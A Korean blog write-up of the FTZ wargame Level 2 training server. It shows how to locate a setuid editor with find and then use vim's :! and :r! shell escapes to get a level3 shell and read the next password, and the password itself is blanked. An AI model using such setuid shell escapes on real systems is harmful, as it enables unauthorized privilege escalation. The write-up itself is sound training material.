Github avatar

GyeongSu Han's Github Pages

FTZ Level2

May 24, 2015 · Wargame

level1에서 획득한 패스워드를 이용하여 level2에 접속합니다.

[level2@ftz level2]$ ls -l
total 12
-rw-r--r--    1 root     root           60 Mar 23  2000 hint
drwxr-xr-x    2 root     level2       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level2       4096 May 22 00:27 tmp

[level2@ftz level2]$ cat hint

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

우선 다음 권한을 획득해야 하므로 find명령을 이용하여 level3의 프로그램을 찾도록 하겠습니다.

[level2@ftz level2]$ find / -user level3 -perm +6000 2>/dev/null

/usr/bin/editor

이런 파일 한개가 나오게 되었습니다. 힌트와 같이 편집기로 추정되는 파일이므로 아마 이 프로그램에서 사용되는 기능으로 추정됩니다.

그럼 이 프로그램을 실행시켜 보겠습니다.

~
~
~                            VIM - Vi IMproved
~
~                             version 6.1.320
~                         by Bram Moolenaar et al.
~               Vim is open source and freely distributable
~
~                      Help poor children in Uganda!
~              type  :help iccf<Enter>       for information
~
~              type  :q<Enter>               to exit
~              type  :help<Enter>  or  <F1>  for on-line help
~              type  :help version6<Enter>   for version info
~
~
~

이러한 프로그램이 시작되었습니다. vi 편집기가 실행되었는데, vi편집기의 기능을 이용하는 것임을 알 수 있습니다. vi에서 명령을 실행시킬수 있는데, :을 입력해 보겠습니다.

~
~
~                            VIM - Vi IMproved
~
~                             version 6.1.320
~                         by Bram Moolenaar et al.
~               Vim is open source and freely distributable
~
~                      Help poor children in Uganda!
~              type  :help iccf<Enter>       for information
~
~              type  :q<Enter>               to exit
~              type  :help<Enter>  or  <F1>  for on-line help
~              type  :help version6<Enter>   for version info
~
~
~
:

이렇게 옵션을 사용할 수 있는 상태가 되게 되는데, 이때 w를 입력하고 엔터를 누르게 될 경우 저장, q를 누르고 엔터를 누르면 끝내기와 같은 기능이 있습니다. 이 외에도 많은 기능이 있습니다.

그 기능중에 명령을 실행 시킬 수 있는 옵션이 있는데, 그 옵션은 !를 이용하는 옵션입니다. !를 입력하고 기능을 실행하면 그 기능을 쉘에서 실행시키는 것과 같이 실행할 수 있습니다. 그 방법 외에도 실행시킨 결과를 편집기로 저장하는 방법이 있는데 r!를 사용하는 방법이 있습니다.

total 12
-rw-r--r--    1 root     root           60 Mar 23  2000 hint
drwxr-xr-x    2 root     level2       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level2       4096 May 22 00:27 tmp
~
~
~
~
~
~
~
~
~
~
~
~
~
:r!ls -l

와 같이 사용하게 될 경우 ls -l옵션을 출력하는데 그 출력 결과를 편집기로 보내어 저장을 할 수 있는 상태로 만듭니다. 이러한 식으로 my-pass명령을 사용하게 되면 비밀번호 출력 결과를 편집기에 출력하게 되므로 다음단계 비밀번호를 알아낼 수 있습니다.

my-pass명령 뿐만 아니라 bash와 같이 쉘을 실행시키는 옵션도 가능합니다. bash를 실행 시켜 보겠습니다.

[level3@ftz level2]$ id
uid=3003(level3) gid=3002(level2) groups=3002(level2)
[level3@ftz level2]$

이러한 식으로 권한을 획득할 수도 있습니다.

^[[H^[[2J
Level3 Password is "            ".

~
~
~
~
~
~
~
~
~
~
~
~
~
~
:r!my-pass